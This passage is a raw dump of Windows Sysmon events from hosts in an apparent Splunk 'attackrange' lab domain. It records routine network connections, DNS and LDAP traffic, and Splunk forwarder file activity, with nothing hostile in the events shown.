22542200x800000000000000052471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:53.432{7BD73061-728D-613B-560B-00000000F001}4776prod.balrog.prod.cloudops.mozgcp.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000052470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:53.431{7BD73061-728D-613B-560B-00000000F001}4776prod.balrog.prod.cloudops.mozgcp.net035.244.181.201;C:\Program Files\Mozilla Firefox\firefox.exe 354300x800000000000000052469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:52.748{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59622-false93.184.220.29-80http 354300x800000000000000052468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:52.737{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59621-false35.244.181.201201.181.244.35.bc.googleusercontent.com443https 354300x800000000000000052467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:52.735{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local63665- 354300x800000000000000052466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:52.732{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local61207- 354300x800000000000000052465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:52.341{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59620-false10.0.1.12-8000- 23542300x800000000000000016836Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:55.069{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016835Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:53.532{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50316-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016838Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:56.819{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53DB75CB9F763537B76FBD972AB9BC17,SHA256=DC7022C2C59EECCFA43920E08D0051E70655220DED020D7D7194A2AA409A5CFA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:56.951{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=13B62AFF8ACD3F8F838D5CA3789BED5F,SHA256=6DD47DD7F76AC9F5378DFDE163029FA23558450D3F116EC0E9298C585FC00EA1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:57.966{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0CD1BB6A8DB19E39A5B165FBB8DA0922,SHA256=5A4D2885B09F5FC3E88F2DECD919038198B687C2F4AF9668B881EED3C1E7E79F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016840Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:57.866{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D47032CCE99B9EAD9F195A017501D61,SHA256=C0BF229B158B3C77B02DB988C7FB9B3C829BAAAA8CDAAA589A3D36EC8A22E555,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016839Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:55.376{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50317-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000052475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:58.981{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4CF2109EDE01F9E4DEC6430967968733,SHA256=74F4C87B841501D016CAA17B1CA7690CBF0B5696F1C7F5C7C741DD55E7B1F686,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016841Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:58.898{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1D922C22ED98E7356CD4F278E35A660E,SHA256=F47C0545E3A84B6C66315E0EDFC81917015CE6BAB63537868A4C2BE404BE727E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016842Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:59.913{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6DF1E412889D32FBB6FEA3A003D3C1AA,SHA256=E3583C28EFF325E9D43832EB7DB5326F486C1D5E813357102B1F7D42CADF85CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:59.380{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DFE6791E75CCE168295DD64F08724EF8,SHA256=8328736136D227BA4176C89B5296828C6BCF193C10CAAF82E8CBA2E1AE5F9F02,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:59.380{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=A8FC900ACFE28E15D97E735863530748,SHA256=6CC1D9A2C6C9A135EB6DA1B6C889DC167191C462CCE507863C7E1C48958B80CD,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016843Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:00:58.578{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50318-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 354300x800000000000000052481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:57.668{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59624-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000052480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:57.668{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59624-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000052479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:00:57.437{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59623-false10.0.1.12-8000- 23542300x800000000000000052478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:00.048{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=37870C00DE4EBD08AB7EA93465318E59,SHA256=3A07C7EA5E0D7F1B14491143E82A5759398B50324F52DE8DB2EFC96AF00361EC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016844Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:01.007{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C757AB43F857F5E4C60CC2A634A9AF73,SHA256=33B53D27FD98983D254CE2277D837BBE5214B324F7ACA817C33360C7B02DAC22,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:01.065{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AC036BD3B7B62BF4BAF5AE057E4B8C32,SHA256=FA7AF0087313B3D26EFACB6CE46A28670390CAFEC73FF4D6A14C9336B295E0CB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016846Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:02.319{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=A7AA87EBBF6C5F0A745D3539FE4EB38F,SHA256=F6A8233C83A47DFF18F27FAC4E03940F2F778769984C95DCDD46B9B165CFD2A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016845Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:02.038{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B1DB45F45895710A6611C6D751035FBC,SHA256=8A16458FF8F081260EB4AFA4F0530EDE5016B4F468A352B0F1029D50909E56FF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:02.079{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=36C80B4860F37F0D87114C7966BAB4D0,SHA256=E2320BD477C0277773545174BF4F21426C15DF0A068FB114FCC0E236C174B548,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016847Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:03.101{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85EB9547D27EB444DFD5753B1CA5D2E3,SHA256=A6DCEFC472D6490E90C1898606EFD86C8534C7858BDD46736EA6BBBC11982C75,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:03.116{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2DD3CDC5AB1F92402847E1FAF971554C,SHA256=8A0EA28BC9D0FB7FF404321F71B39947CB89A04E04614E123DC3E6BFA1665BF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:04.196{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC633289A6D7457F152553CDCD2694F8,SHA256=295B17B41DD309F12450F68111F50D918E2DDF144EFA07B8868C98D32C4E6F4F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016848Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:04.148{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=95B1E938A6011B3742CFB7A1B737C371,SHA256=3FAB17569B31499DB88B009C2C3249F43A41BA5F9546FE2B26B0368D5ADE0267,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:02.534{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59625-false10.0.1.12-8000- 23542300x800000000000000052486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:05.198{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=57C0E9B90AB9229E5A3D39416ED4A1B4,SHA256=4A67372F5A4368A42D7AD5FB7C9BEB01794ABF50ECF0FE7455D62E7B7EBE2DF4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016850Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:04.532{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50319-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016849Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:05.179{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A28C0BD2E9046B6F2E3560CD7ABFB1D1,SHA256=81780C7D44242155557B680CA64046CC37FB2C46A9A7B4C2AF0C6FEAE039F80D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:06.217{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FBB57B2A1A46EEEE170E7A2EDE63145F,SHA256=9D273237B7600B0B952119DFACE9B80F1C345F334825D58CAFEA0A2252B8F487,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016851Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:06.194{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A059A03AB97981E84FBC8DE43D09E715,SHA256=86ED8A4351511F6706F94EB764E9F4C0E1EDC2AF6A2F62390EBFE524213DCC6E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:07.297{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F960C5A46317512B4E8F11B4BCA073E,SHA256=6F449BE76B11B5EAB365A4F7670A3F178574D7D5249666AD68C5691DB05025AB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016852Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:07.226{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C5CD47C43351455A127390292D37B11,SHA256=7D353579A8FE0A855BA600AAE476559FBAF3F8E5BF271E5A2A61C4633E8A17BD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:08.432{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A149B1E269A087FE6DB5F787E1AB5312,SHA256=D00E27B1679E6A6CD86FA8182A3592C88FE5B9630D758815C64F53363C6AF290,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016853Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:08.241{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C23459C5B0EF0BA2E753FEE5DF6BFE6E,SHA256=C9B0DBA21B7D09F16E69E172622E117A9BC0DBCD27E16E756F076E2FB0473D4F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:09.446{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DF59E2F4DA2F408996AFEDBD25FFD294,SHA256=E01579C6BD71B48159D99FC6733E86FCCF1C5B8738409EF272954057A0008386,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016854Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:09.257{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=379D489596709A57D0509CEF5172DDE2,SHA256=763FDC6D756940F01A19C5157C629FF03007B4C0CF341933A5C4A8B5912C4642,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:10.993{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-055MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:10.660{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B8BF2D7715664C02353DDD0DB417A1C3,SHA256=4763E7DCDE16113C0ABD2CAAF00973671D934C63C9B3383E010CE1179A39B60E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016855Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:10.272{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1EB481B2E106CCEB7DA2A0A557B617DA,SHA256=DF02851B9600BBBF56E9F58B80D80AB2D55F1C5DB25D60C8A9F802BF7EE8F573,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:08.365{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59626-false10.0.1.12-8000- 23542300x800000000000000052496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:11.992{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-056MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000052495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:11.676{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A056AFE6EC3AD5DA63EE4625BDFFF1E9,SHA256=BE2C3DBAF33F33ADAAEDC34B28FEB6344899E089EC4396B00841348E8710934F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016857Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:10.360{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50320-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016856Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:11.310{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6ABB3874636662E1F9711185B4502D87,SHA256=169801AE667AC7E4E0D8A4B90FD896588943575B9C115EDCA447928559938284,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:12.676{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F227876BB447C5CB6BEE8D973E9E2166,SHA256=A1AEB1C9B7949AD8C5AC7EDAF17D25BF7923BEDC23698F37CBF2338670B3D7C3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016858Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:12.310{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9AACF2899860E8AE0D67F0838DE71F58,SHA256=FEE2B9F6C205776D4B8325C6567FAA7906BD28EDDB1403CB55C3D3C1B439180A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000052498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:13.696{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=280E1A1539347A7E6CD1D4B110791C8F,SHA256=561528BC4FE3A60838137A1BC6806BBCE2E1BAD2BEC556B9A21D4A04C335B169,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016859Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 